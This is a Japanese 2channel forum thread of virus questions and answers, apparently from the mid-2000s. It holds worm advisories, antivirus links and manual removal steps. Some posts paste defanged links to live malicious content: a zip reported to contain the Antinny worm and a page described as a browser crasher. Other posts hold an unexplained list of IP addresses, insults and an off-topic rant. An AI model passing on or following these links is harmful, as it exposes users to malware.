ウィルス情報＆質問　総合スレッド☆Part34

ウィルスに関わる話題・質問はこちら。
Winny関連のウィルスは、Download板に専門スレッドがあります。

【　　最　　重　　要　　事　　項　　】
ウィスルやブラクラだと思われる物の直リンは厳禁！！！！！！！！！！
質問の時は頭の『ｈｔ』を抜いて貼り付ける事

【質問する前、書き込む前に必読する】 テンプレサイト
コンピュータウィルス総合スレッド　テンプレミラーサイト（PC初心者板）
http://pcqa.tripod.co.jp/virus.htm
【警報】Winnyを狙ったワーム・ウイルス情報 テンプレまとめサイト（Download板）
http://www.geocities.jp/kemkzuenc/Antinny.html

尚、質問・回答が効率的に行えるよう、質問時には次のテンプレを使用してください。

【使用OS】
【WindowsUpdateしてるか】
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】

■■ウィルス定義データは定期的に更新しよう■■
メーカー製パソコンにはウィルス監視ソフトがプリインストールされていることが多いです。
しかし、それだけでは万全ではありません。なぜなら、新しいウィルスが次々と登場するからです！
監視ソフトのデータベースに無ければ、新しいウィルスは検出できません。
そのため、ウィルス監視ソフトには 「データの更新」機能が用意されています。
監視ソフトのメーカーのコンピューターに接続し、最新のウィルス情報を手に入れることが重要なのです。

最近出来た新しいウィルスは、ウィルスデータを更新していなければ検出できません。
ウィルス監視ソフトを導入しているからと安心せず、必ず定期的にデータの更新を行ないましょう！
データ更新をしなければ、監視ソフトも役に立ちません。

■■ワクチンメーカーリンク集■■　　※ウィルス監視ソフトをワクチンソフトとも呼びます。

・トレンドマイクロ株式会社　http://www.trendmicro.com/jp/home/personal.htm
　製品名：ウイルスバスター2005インターネットセキュリティ他
・株式会社シマンテック　http://www.symantec.com/region/jp/
　製品名：NortonAntiVirus、NortonInternetSecurity他
・VINTAGE SOLUTIONS, INC （バーテックスリンクより移管）
http://www.vintage-solutions.com/Japanese/
　製品名：ANTIDOTE （アンチドート）
・株式会社アラジンジャパン　http://www.aladdin.co.jp
　製品名：eSafeProtect
・コンピュータアソシエイツ株式会社　http://www.caj.co.jp/
　製品名：InocuLAN、CheyenneAntiVirus
・マカフィー株式会社　http://www.mcafee.com/jp/default.asp
　製品名：McAfee VirusScan
※プリインストール版のMcAfee VirusScanは、古いバージョンのデータ更新が打ち切られています。
　http://www.nai.com/japan/download/dat3end.asp　（リンク切れ）
　該当する場合は諦めてノートンかウィルスバスターを買いましょう。

アンチウイルスの性能評価をしている「AV Comparitives」の8月のテスト結果。
http://www.av-comparatives.org/seiten/ergebnisse/report07.pdf
http://www.av-comparatives.org/
1位 Kaspersky
2位 Symantec（ﾉｰﾄﾝ）


スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位　F-Secure
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5


キンタマ系などローカルなものに対応が早いのはウイルスバスターやノートン。
http://www.viruslist.com/en/find?search_mode=virus&words=Antinny&x=14&y=7
http://www.viruslist.com/en/find?search_mode=virus&words=Mellpon&x=0&y=0

■■ウィルスに感染しないために■■
★ウィルス監視ソフトを常駐させよう。
　→常に見張っていてくれる監視ソフトを導入すれば、あなたの負担もグッと減ります。
★知らない人から届いた添付ファイルに注意！
　→知らない人からファイルをもらう理由はありません。
★添付ファイルのファイル名だけで信用しない！
　→ファイル名だけでは中身は分かりません。
★知り合いからの添付ファイルでも、注意しよう！
　→アドレス帳に登録されている人に送信するウィルスもあるので注意が必要です。
★怪しいファイルをダウンロードしない。
　→怪しいファイルにウィルスが混入しているケースもよくあることです。
　　怪しいファイルや違法性のあるファイルはダウンロードしないようにしましょう。
■■ウィルスを発見・感染したら届け出を！ ■■
　もしウィルスを発見したり、感染してしまったら届け出をしましょう！
★IPAセキュリティセンター　コンピュータウイルスに関する届出について
　http://www.ipa.go.jp/security/outline/todokede-j.html
　こちらに届け出の方法などが記載されています。
　E-mail・郵送・FAXが利用できますので、ぜひ届け出ましょう。

W32.Sasser.Wormとその亜種にご注意！！
このウイルスは、MS04-011 の悪用を試みるワームです。
ランダムに選択された IPアドレスを持つコンピュータを走査し、拡散します。
亜種も出現しているので、 出現後にウイルス監視ソフトの定義ファイルを 更新していない場合、 ウイルススキャンで検出できません。
最新の定義ファイルに更新しましょう。
●症状
ネットワークの反応が遅く、 メッセージボックスのシャットダウンへのカウントダウンが始まります。
下に「lsass.exeの異常終了です」などと表示されます。
もし「RPCの異常終了です」ならば、次のBlaster/Welchiaです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。
●予防策
MS04-011のパッチを適用する。
http://www.microsoft.com/japan/technet/security/bulletin/MS04-011.mspx
●下記サイトにも情報が掲載されているので、参照して下さい。
Sasser ワームについてのお知らせ
http://www.microsoft.com/japan/security/incident/sasser.mspx
* Windows XP編
http://www.microsoft.com/japan/security/incident/sasser_xp.mspx
* Windows 2000編
http://www.microsoft.com/japan/security/incident/sasser_2k.mspx
* シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.worm.html
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.b.worm.html
* トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.B
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.C
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.D

Blaster / Welchia についての情報
このウイルスは、MS03-026 の悪用を試みるワームです。
●症状
ネットワークの反応が遅く、
シャットダウンへのカウントダウンが始まります。
メッセージボックスの下に「RPCの異常終了です」などと表示されます。
もし「lsass.exeの異常終了です」ならば、上のSasserです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。

Blasterにはいくつかの亜種があります。
マイクロソフトの解説ページ
http://www.microsoft.com/japan/technet/security/virus/blaster.asp
Blaster トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_MSBLAST.A
Blaster シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.blaster.worm.html
Welchia トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_NACHI.A
Welchia シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.welchia.worm.html

「W32/Netsky」ウイルスの亜種（Netsky.Q）に関する情報
http://www.ipa.go.jp/security/topics/newvirus/netsky-q.html
・差出人アドレスは詐称されます。
・件名：　以下のいずれかひとつ
　　* Mail Delivery System (＜受取人メールアドレス＞)
　　* Failure (＜受取人メールアドレス＞)
　　* Delivered Message (＜受取人メールアドレス＞)
　　* Deliver Mail (＜受取人メールアドレス＞)
　　* Delivery Error (＜受取人メールアドレス＞)
・添付ファイル名：　{ message、data、mail、msg } + { ランダムな数字、なし } + { .pif , .zip }
　　　例： date7386.pif 、 message19392.zip など

「W32/Mydoom」（別名：Novarg）ウイルスに関する情報
http://www.ipa.go.jp/security/topics/newvirus/mydoom.html
・差出人アドレス（From）：　コンピュータから取得できたアドレスを詐称。
・件名：（以下の候補のいずれかを選択）
　　* Error
　　* Status
　　* Server Report
　　* Mail Transaction Failed
　　* Mail Delivery System
　　* hello
　　* hi
　　[ 任意の文字列 ]
・本文：（以下の候補のいずれかを選択）
　　"test"
　　"The message contains Unicode characters and has been sent as a binary attachment."
　　"The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment."
　　"Mail transaction failed. Partial message is available."
　　[ 任意の文字列 ]　　[ 空白 ]
・添付ファイル名：　ランダムなアルファベット

「がいしゅつです」Q&A
Q1．ノートンを使っていたら、２ｃｈのログからウィルスを発見しました。
　　　ノートンをインストールしたら2chに書けなくなりました。
A1．ここを読みましょう。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

Q2．ウィルスを検出しましたが、どんなウィルスかわかりません
A2．各アンチウィルスベンダーのウィルス情報をまず確認しましょう。
・Symantec Security Response
http://www.symantec.com/region/jp/sarcj/vinfodb.html
・Trend Micro ウイルス情報
http://www.trendmicro.co.jp/vinfo/virusencyclo/default.asp
・McAfee ウイルス情報
http://www.mcafeesecurity.com/japan/security/vlibrary.asp

Q3.「世界の中心で生まれてきてすいません」という表示が出てきました 。
　　デスクトップの背景が蓮画像になってしまいます 。
A3．Winny関連ウィルスですので、Download板へどうぞ。
　　ブラクラに仕込まれている場合もあるので、心当たりがなくても一度参照して下さい。
Winnyを狙ったワーム・ニュイルス情報 Part36
http://tmp4.2ch.net/test/read.cgi/download/1111385299/

Q4．アンチウィルスソフトを持っていないのですが、無料のものはないですか？
A4．このスレでフリーのアンチウィルスソフトを取り扱っていますので確認して下さい。
フリーのアンチウイルスソフト Part5
http://pc5.2ch.net/test/read.cgi/sec/1107065884/

Q5．ホームページが変なページになってしまいます
A5．ウィルスではなくスパイウェアですので、こちらへどうぞ
エロサイト見たら…助けて下さい！Part52
http://pc5.2ch.net/test/read.cgi/pcqa/1111405528/

関連スレッド

Winnyを狙ったワーム・ニュイルス情報 Part42
http://tmp5.2ch.net/test/read.cgi/download/1123171787/
sasser【スタコラサッサ】sasser　Part２
http://pc5.2ch.net/test/read.cgi/sec/1083839516/
Blasterスレ　part5
http://pc8.2ch.net/test/read.cgi/sec/1065964513/
【差出人】WORM_NETSKY【詐称】
http://pc5.2ch.net/test/read.cgi/sec/1080741342/
「Nimda !! 」【その４】
http://pc5.2ch.net/test/read.cgi/sec/1001864573/
エロサイトを見たら…助けてください！Part57
http://pc8.2ch.net/test/read.cgi/pcqa/1122562575/
【緊急!】ウィルス即行駆除方法【助けて!】
http://pc8.2ch.net/test/read.cgi/sec/1091174837/
アンチウィルスソフトのウィルス誤検出
http://pc8.2ch.net/test/read.cgi/sec/1027753135/
毎日ｳｨﾙｽﾒｰﾙが送られてくるのですが･･2通目
http://pc8.2ch.net/test/read.cgi/sec/1086494732/

関連スレは次スレに移行してる場合もあります。


質問する前に検索しましょう
http://www.yahoo.co.jp/
http://www.google.co.jp/

>>1
スレ立て乙！

※若干危険な傾向をもつアンチウイルス

NOD32　主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
http://canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
http://canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
http://canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
http://canon-sol.jp/supp/nd/wndt7003.html
プリンタとの相性で印刷不能になる問題。
http://canon-sol.jp/supp/nd/wndt4205.html
Windowsアップデートができなくなる問題
http://canon-sol.jp/supp/nd/wndt4212.html

>>1
乙ー

【使用OS】 winXP
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】マカフィー
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】 PWS-Banker.gen（が駆除されてました）
【別のオンラインスキャンしたならその結果は】 今してます
【症状を具体的に、分かる限りすべて書く】駆除されました
【何をしたらそんなことになったのか】
常時接続のまま風呂に入って、戻ってきたら、勝手に発見されてて駆除されてました
【これまでにとった措置】 マカフィーの指示通りにスキャン中
【その他の質問】

ADSLで常時接続しています。
何もしてないのに、PWS-Banker.genというトロイが、
風呂に入っている間に発見されて、駆除されていたのですが、
怪しいファイルをクリックしなくてもそういうことはあるのですか？

もしマカフィーを入れてなかったら、PWS-Banker.genによって、
何をされていたのか、教えて下さい。
私のIP（固定IPです）を知ってるサイトの管理人などが何かしてきたのかと思って怖いです

ID出ないようですけど、ageでいいですか…
【別のオンラインスキャンしたならその結果は】
すみません、別のオンラインスキャンではなかったです。マカフィーです。

最後の文字が抜けてました
PWS-Banker.gen.g
これは何をしようとしていたのですか？

>>13
http://www.mcafee.com/japan/security/virPQ.asp?v=PWS-Banker.gen.d

ん

>>16
ありがとうございます
末尾のbとgは違いますが、口座番号やパスワードを盗もうとしたのでしょうか
プロバイダに固定IPを変える方法を教えるよう、さっきカスタマにメールしてきました
（ワンクリサイトから請求のメールが来て無視していたので気になります）

固定IPが分かれば、そこを狙ってトロイを送り込まれて、口座情報を盗めるのですか？
それとも、サイトを開いた時点で何かをイントールされていて、
後から固定IPを指令して何かをするのでしょうか？

狼板でIPが出てしまったとき、IP知られても実害ないから大丈夫と言われたのですが、
やはり架空請求やアダルト業者などに固定IPを知られるとまずいのでしょうか？

>>17
WindowsUpdateで最新状態にもしていないのかよ？

最もそれ以前に何かをインストールされていたらお終いだけどな。
キーロガーとは、自分自身で情報を作者に送信するから、
ファイアーウォールがあってリモート操作を受け付けないようにしていても、
インストールされていれば無意味。

>>17
どうせ、ネットゲーム厨なんだろう？
何が入っていても仕方がないね。

ありがとうございます。
>>18
さっきしたら
＞お使いのコンピュータに該当する優先度の高い更新プログラムは存在しません。
となったのですが、安心していいでしょうか？

>>19
ネットゲームはしたことないです。nyみたいなのもしてなくです

安心するためには、何をしていればいいのでしょうか？
線を抜けはなしで…

きんたまウイルスについてお聞きします。
きんたまウイルスによってWinnyで流失した
画像を２ちゃんでダウウロードしました。

この場合、きんたまウイルスに感染するのでしょうか？
また、感染した場合、Winnyを使用したことが無い私の
ＰＣの情報も流失してしまうのでしょうか？

どうかご教授ください。

>>21
昼休み中のオレが携帯からｶｷｺ。

nyからﾀﾞｳﾝしたzip形式のﾔﾂをそのまま手に入れたなら中にｷﾝﾀﾏが入ってる可能性は高い。つーかほぼ入ってる。

ただおまいがｷﾝﾀﾏに感染したとしてもny使ってないなら実害はﾏｯﾀｸ無いと思っていい。svchost.exeが増えただけじゃね？

>>21です。
貴重な時間をありがとうございました。

先ほど、ノートンを使用しウイルスチェックを
行いました。
システムの完全スキャンを行いましたが
脅威は見つかりませんでした。
きんたまが入っていた場合、脅威は見つかるものなのでしょうか？
見つからない場合は入っていないと考えて
よろしいのでしょうか？

また駆除する方法はどうの様に行えばよろしいでしょうか？

まとめて質問すればよかったのですが、宜しくお願い致します。

>>23
さっきも書いたがnyを使わない限りは気にしなくていい。

一回踏んだら手動で駆除するか再インスコ。 もしくは2階からPCを････


駆除方法を書くのは携帯じゃﾏﾝﾄﾞｸｾｰのでﾀﾞｳｿ板の｢仁義なきｷﾝﾀﾏｽﾚ｣の1のﾘﾝｸでも見れ。

>>24
なんども、すいませんでした。
nyは使いませんのでこのままにしておきます。

駆除方法を見ましたが感染していると思われる
プロセスも見当たりませんでした。

ご親切に対応していただきまして感謝いたします。

84.40.31.88[ wtf1026.tam.us.siteprotect.com ]
83.133.81.94[ mp-webhost01.de ]
82.233.242.57[ latable.brethes.com ]
81.208.36.100[ 81-208-36-100.ip.fastwebnet.it ]
80.138.100.156[ p508A649C.dip.t-dialin.net ]
65.66.90.219[ adsl-65-66-90-219.dsl.wchtks.swbell.net ]
63.246.145.90[ unknown.sagonet.net ]
60.198.65.53[ 60-198-65-53.cm.ubbn.net ]
24.76.197.129[ S0106005004745bca.wp.shawcable.net ]
24.75.53.228[ www.citygates.net ]
221.113.27.13[ p027013.ppp.asahi-net.or.jp ]
220.132.178.79[ 220-132-178-79.HINET-IP.hinet.net ]
219.3.110.13[ softbank219003110013.bbtec.net ]
217.141.81.131[ host131-81.pool217141.interbusiness.it ]
216.97.74.22[ hedge.propagation.net ]
216.151.192.222[ cwhois1.completewhois.com ]
213.145.190.90[ 213-145-190-90.dd.nextgentel.com ]
212.39.65.204[ 204_65.btc-net.bg ]
210.143.111.146[ ns.ta9n.com ]
208.234.20.30[ nameservices.net ]
207.34.47.234( unknown )
204.244.106.148[ mail.corporate.sphinxinfotech.net ]
203.96.25.7[ cwa.co.nz ]
203.214.0.81[ 203-214-0-81.dyn.iinet.net.au ]
202.41.214.10[ ns.nagoya-ohara.net ]
200.79.75.211[ customer-200-79-75-211.uninet-ide.com.mx ]
195.22.88.130[ host-195.22.88.130.addr.tdcsong.se ]
194.72.238.61[ ariston.netcraft.com ]
193.49.192.226[ vle.univ-littoral.fr ]

　　　　　　 ∧∧　　
〜′￣￣( ﾟДﾟ)　　「・・・・・・・・」
　UU￣￣　U U

W32.Netsky.Q@mmについて質問です。

このウイルスは送信元を偽装して送りつけてくるということなのですが、
本当の送信者（アドレス）はわからないのでしょうか？
毎日10通以上届いてうざいのですが。
ノートン先生が削除してくれるのですが、そのつどボタンを押さないといけないので・・・
なんとかわかれば連絡することも可能なのですが。

クリスマス、正月はどこにも出かけない。
忘年会もやらない。税金払うのがやだからタバコ、酒もやらない。
こんくらい非国民になってみろや！
あっという間に、日本は潰れる。

さあ　正月過ぎたら会社に行かないでみんなでホームレスになろう。
どうせ、全員ホームレスなんだから日本は一年も持たないですぐに潰れる。
潰れてしまえば全国民ホームレス。後は適当に人類は滅亡すればいい。

> 『GIF動画』と『電源強制OFFのタグ』と『戻る(ｸﾘｱﾎﾞﾀﾝ)禁止のタグ』
> この三つの組み合わせでできてるページ。
> docomoに利かない理由は、タグがdocomoには対応してないから。
> 携帯に実害はありません。
>
> あとｸﾘｱﾎﾞﾀﾝを押すと画像が変わるのではなく、
> 何も押さず放っておくと電源OFFタグが先に発動し、
> ｸﾘｱﾎﾞﾀﾝ等のﾎﾞﾀﾝを押すとタグ発動が遅れて先に動画が動くというわけ。


オカルト板で貼られていた強制的に電源が切れるブラクラ？らしい。

ttp://tool-3.net/?id=uglink&pn=0

ttp://daylinews.bravehost.com/Society/051106-00000107-kyodo-ent.html
これウイルスらしいんだが、どういうウイルスでしょうか？ウイルスバスター2006でリアルタイム検索onにしててもひっかからなかったので・・・

>>32
消されているから無視

ウイルスが消されているという意味ですか？無害なの？

>>20
大丈夫でしょうか？
何もファイルをクリックしてないのに、勝手に向こうからトロイが来るというのは、
やはり固定IPを変えた方がいいのでしょうか？

失せろ！

>>36
何もクリックしてないのにトロイが送られてくることは有り得るのですか？
それがクラッキングというのかも知れませんが（？）、
ヤフオクやアマゾンでカードを使って入力しているので、
カード情報の打ち込み記録が　「 PWS-Banker.gen.g 」で盗まれると、
カードの不正使用をされるのでしょうか？

失せろ！

>>37
心配ならＯＳを再インストールしろ。
それがいやならもうネットは止めろ。

おまいら、前スレ消化しろよ・・・

>>39
初心者スレで聞くとマルチなので、ここでいいですか
不安とか心配というより、質問のつもりです。お願いします

固定IPが悪いのかどうかを知りたいです。
再インストールしてもIPはそのままなので
プロバイダはIPからの個人情報は守ると思うのですが、
クラッカーにしてみれば、固定IPはまずいのでしょうか？　そこを知りたいです

>>36
初心者スレでマルチしたから怒られているのですか？

>>41
ＩＳＤＮにしたら？

>>38
>>39
初心者板でも失礼しました。すみませんでした

マルチにならないように他の場所へ誘導してください
固定IPの危険とか、その辺を学べるとこがいいです
お願いします。

×　初心者板
○　セキュリティー初心者スレッド　part64
すみません

ttp://sakuratan.ddo.jp/uploader/source/date7011.zip
添付ファイルにこのプログラムがありました。（このプログラムです.exe）
アイコンがフォルダなので、添付ファイルを解凍したあと気づかずダブルクリックしてしまいました。
NIS2005をXPに入れていて添付ファイルを解凍したときに警告が出ました。
NISのログを見ても何をしようとしたのか分かりません。PC全体をスキャンしましたが問題ないとでました。

どなたか、このプログラムがどういったもので何をしようとするものなのか教えていただけないでしょうか？
よろしくお願いします。

>>46
W32.HLLW.Antinny　ウィルスです。（詳細はコピペしてググれ。）

当環境ではノートン先生がお怒りの後に削除してくれました。

ってか怪しいと思うやつをこのスレに貼るな、ボケ。

他人のことをもっと考ろ

ありがとうございました。勉強いたします。

大アホの>>46
なんだか解らない添付ファイルを平気でクリックする奴は人類の敵だ。
金輪際ネットに繋ぐな。

すんません。カプラ時代からパソコン通信してるんですが情けないです・・・。

人類の敵だってよ。大物だな >46は

シャワちゃん呼ぶ？

>>33　消されてるから無視の意味・・・がわからｎ

>>44さん
通信技術板
ttp://pc8.2ch.net/network/で訊いたらどうでしょうか？

ノートンのrar形式の件、対処法がわかりません
教えてください

>>55
バスターに乗り換える。

ちょｗまってください

>>54
ありがとうございます

OS入れなおしたんですが
メールチェックをしてて、間違えてウィルスを開いてしまい
ノートンを入れなおすのを忘れていて
急いで入れ直して　ノートン+手動で削除したんですが
ノートンから時々ポップアップみたいな感じで
「static」というメッセージが出てきます

まだ何か残ってるのでしょうか・・・それとも仕様ですか？
ノートンスキャンじゃ何も見つからないのですが。

ｽﾊﾟｲｳｪｱの疑いあり

ドライバ設定を消すものはありますか?

【使用OS】 winXP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 ｳｲﾙｽバスター２００５
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 特に何も出ませんでした
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】 IEでページが開けない（Live2chで書き込んでます。）ＩＥ自体は立ち上がります。
【何をしたらそんなことになったのか】 今朝立ち上げたら
【これまでにとった措置】 ウイルス検索　スパイウェア検索
【その他の質問】

よろしくお願いします。

12月23日（昨日）から62さんとまったく同じ症状になっています！！
今はネットスケープから書き込んでます。

なぜだか判りませんが
インターネットオプションの接続の設定が変わっていました。
今は直したので繋がるようになりました。

OCN光

ダイヤルしない→通常の接続でダイヤルする

これで私は繋がりました。合ってるよね？

(´・ω・｀) アッー　!!

アンチウィスルソフトって、
NASドライブの中のウィルスも駆除可能ですか？

>>66
ネットワークドライブ対応のもあるよ。

>>67
サンクス　探してみます。

>>68
市ね

>69
市ね

>>71
俺氏ね

　　　　　　 ∧∧　　
〜′￣￣( ﾟДﾟ)　　「むー」
　UU￣￣　U U

>>72
変な犬

ギコネコだよ

質問というか、雑談に近くて申し訳ないんだが、最近ちょっとPCの体感挙動に不信感を持っている
主にHDへのアクセス、特にIEでファイルを落とした時に、その後30秒程度の時間、一秒周期くらいで
WAITが入るような挙動をする。アプリケーションが一瞬停止したり、マウスカーソルが飛んだりが断続的に続く。
特にCPUに負荷がかかっている様子は無い。
Ad-aware・Spybotで問題なし。AVGで全ドライブ検査で問題なし。AVGをアンインスコ、avestに入れ変えて全ドライブ検査で問題なし。
ちなみに、この入れ替え期間のアンチウイルスが無い状態でも現象は出ている。（AVの負荷じゃないって事ね）
タスクマネージャから確認しても不審なタスク無し。スキャンディスク問題なし。
HD最適化で断片化を無くしても変化なし。HD空き容量は最低でも5ギガ確保できてる。
FWはインアウト共に不審なログ無し。
何と言うか、体感以外ではまったく問題無いんだよね。前はこうじゃなかった気がするんだが・・・。
単にHDがヘタって来てるだけなのかも知れないんだが、誰かこんな話に心当たりない？

ネットやってて、画像がまったく表示されないんですけど
画像が表示されなくなるようなウィルスてあるんですか

>>75
俺はスキャン中電源が落ちた・・・

解決しました

ANTILO.exeの情報ってまだ出てない？

誘導されたのでこちらに質問しますι
なんか最近ノーテムポールというウイルス？が出回っていると聞いたのですが、これに感染したらパソにどんな影響が出るのでしょうか？？
多少は聞いたのですが、ググッても何もわからなかったので…ι

Altavistaれ

WORM_ANTINNY.Aが１つ見つかったんですが、概要に、
――――――――
1)　不正プログラムの自動起動設定を削除します。
Windowsのレジストリエディタ(regedit.exe)などを使用して以下のレジストリの値を削除してください。

場所:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run
値:“ara-key= ＜ワームのファイルの場所＞ -StartUp”
――――――――
と書かれているんですが
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\run はあっても
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run がないんです。
ara-keyという値も見当たらず。見当たらないケースってあるんでしょうか？
その場合の対処法はありますか？お願いします

>>82
大文字も小文字も一緒だ　ば〜か

>>82
見付かった場所のくらい書けよ　ドアホ
感染してなきゃあるわけあんめえ　ば〜か

初心者ですが質問します。
Your file is attached.という内容のメールが送られてきて
W32.Netsky.D@mmというウイルスが添え付けされていました。
これは一体なんなのでしょうか？

>>85
何でもありません　無視

Over the Rainbow

今、あちこちからupd12533叩かれまくってんだけど
なんか流行してんのかな？

updて・・・udpだな
しかしすごい数だ

>>88
全然
おまえが訪問したエロサイトじゃないのかよ

エロサイト訪問するとなんであちこちからポート叩かれるんだよ

【使用OS】 winXP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 avast!!
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】Win32:P2P-Bereb-B【Wrm】sysdllのフォルダ内全て
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】 インターネットが出来なくなったり音楽が聞けなくなったり色々です。。
【何をしたらそんなことになったのか】 立ち上げたらいきなりです
【これまでにとった措置】 ウィルス検索
【その他の質問】 修復を試みたのですが出来ませんでした
パソコンの事があまり詳しくないのでウィルスの対処法が分かりません。。本当に困っているので教えてくださいm(__)m

拡張子jpgのHacktool.DoSというウイスルが活動される契機というのは何ですか？
ブラウザで開く以外に、画像ビューアーなどで見ても起動されますか？

>>92
怪しいフォルダやファイルは削除したの？

>>92
>パソコンの事があまり詳しくないのでウィルスの対処法が分かりません。。本当に困っているので教えてくださいm(__)m

リカバリー

>>94
どれが怪しいフォルダがなのか分かりませんm(__)m

リカバリーも簡単に済ませられないで次のステップに進めるのか
レジストリ内を弄繰り回すのは次のステップだ　ば〜か

>>92 リカバリーしたらどうなるんですか??

>>95
リカバリーしたらどうなるんですか??

>>96
最近ＤＬしたフォルダが最も怪しい。

>>100
最近DLしたフォルダというのはwinmxとかでDLした物の事ですか??

パソコンの事があまり詳しくない人がWinMXで感染か？

そう。
ちなみにリカバリーしたらＣドライブのデータは全部飛ぶ。

どうして感染したのかも全く分かりませんm(__)m
お願いです教えてくださいm(__)m

>>103
リカバリー以外に何か方法は無いですか??

>>92
自業自得な気もするが、放っておくとロクな事はないよ
独立型でファイル感染はしないみたいだから、本体削除・フォルダ削除・レジストリ削除・共有設定解除くらいで良いみたいね

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_BEREB.B

>>106
どぉやってすればいいのでしょうか??m(__)m

106が貼ってくれてる方法が理解できないなら、もうリカバリーしなさい。

お願いです!!教えてください(／Д＼。)

取り扱い説明書読め。

>>107
人を頼らなきゃ駆除もできないなら、変なツールに手を出すんじゃないわよっ

上のページから対応方法も調べられる。まずそこを読む。整理すると
１．本当に感染してるか確認するために、C:\Windows\TASKMGR.COM　か　C:\Windows\SVCKERNELL.COM　の存在を調べる
２．存在していれば、今現在稼動してるので、タスクマネージャから上のPGMを強制終了させる
３．レジストリの自動起動を解除　スタート→ファイル名を指定して実行　「regedit.exe」を起動して、上のページの場所を調べ、値を削除する。
４．ここでウイルスチェックをかけて、引っかかったもの全て削除する
５．C:\Windows\SYSDLL フォルダを削除
６．５のフォルダがMXで共有されるよう設定されてるらしいので、WinMXの共有フォルダ設定を解除する（MX持ってないからやり方は知らない）

感染経路はピアtoピアメールの添付ファイルを実行・・・らしいね。よく知らんけど

今回だけだからねっ

TASKMAN.EXEと言うのはあったのですが
TASKMGR.COMと言うのは見当たらないん
ですけどこぉいう場合はどぉすればいい
んでしょうか??(／Д＼。)

>>112
もう来んな　　　　　　　ﾍﾟｯ

お願いします(／Д＼。)一生のお願いですm(__)m

TASKMAN.EXE　はOSで用意されてるタスクマネージャ。他のウイルスだとそういう名前使う事もあるけど、今回は無罪だと思う
エクスプローラから、ツール→フォルダオプション→表示タブ→すべてのファイルとフォルダを表示する　をチェックして再度ｔｒｙ

残念でした　taskmgr

TASKMAN.EXE　はOSで用意されてるタスクマネージャ。他のウイルスだとそういう名前使う事もあるけど、今回は無罪だと思う
エクスプローラから、ツール→フォルダオプション→表示タブ→すべてのファイルとフォルダを表示する　をチェックして再度ｔｒｙ

試みましたがTASKMGR.COMは出てきませんでしたm(__)m一体何が悪いのでしょうか??

念の為に聞くけど、
C:\Windows\TASKMGR.COM
C:\Windows\SVCKERNELL.COM
のどっちも存在しないって事？
となるとウイルス違いか亜種かって事になるけど・・・

おまえの頭

>>117
>一体何が悪いのでしょうか??

レジストリ内のどっかw

>>118
どっちも存在しませんm(__)m

ほむ。レジストリから調べれば怪しいPGMはわかるだろうけど、亜種だったら他に何されてるかわからんし・・。
ちょっと調べてみます。
誰か良い知恵あったら教えてあげて

わざわざすみませんm(__)m

と、>123はもう二度とレスはもらえないのであったw

ttp://thumbstower.com/?pics/animals/pages/2161.jpg
ここを踏んでからPC何か外部からの受信をしてるみたいでおかしいです。
また勝手にセキュリティのレベルが変えられちゃったみたいでノートンも起動できません。
アクティブXが使えないと出ます。
またブラウザ等のターゲットが勝手に外れます。
対策方法を教えて頂けると嬉しいです。

>>125
ない
ブロックしきれないノートンざまあみさらせ
WindowsUpdateもしないおまえなんて市んでろ

だめだぁ。他の名前のCOM使うって情報無いねぇ。
１．ウイルスソフト会社に状況を話して確認してもらう
２．COMの名前だけ変えてある亜種として同じ対処をする
しか俺には思いつかん

もし自分で対処するのであれば、レジストリエディタから
HKEY_LOCAL_MACHINE\Sotware\Microsoft\Windows\CurrentVersion\Run
を見ると、下のどちらかのキーがあるかも知れない。無いかも知れないが・・。
Taskmanager = "C:\Windows\なんちゃら.com"
Svckernell= "C:\Windows\なんちゃら.com"
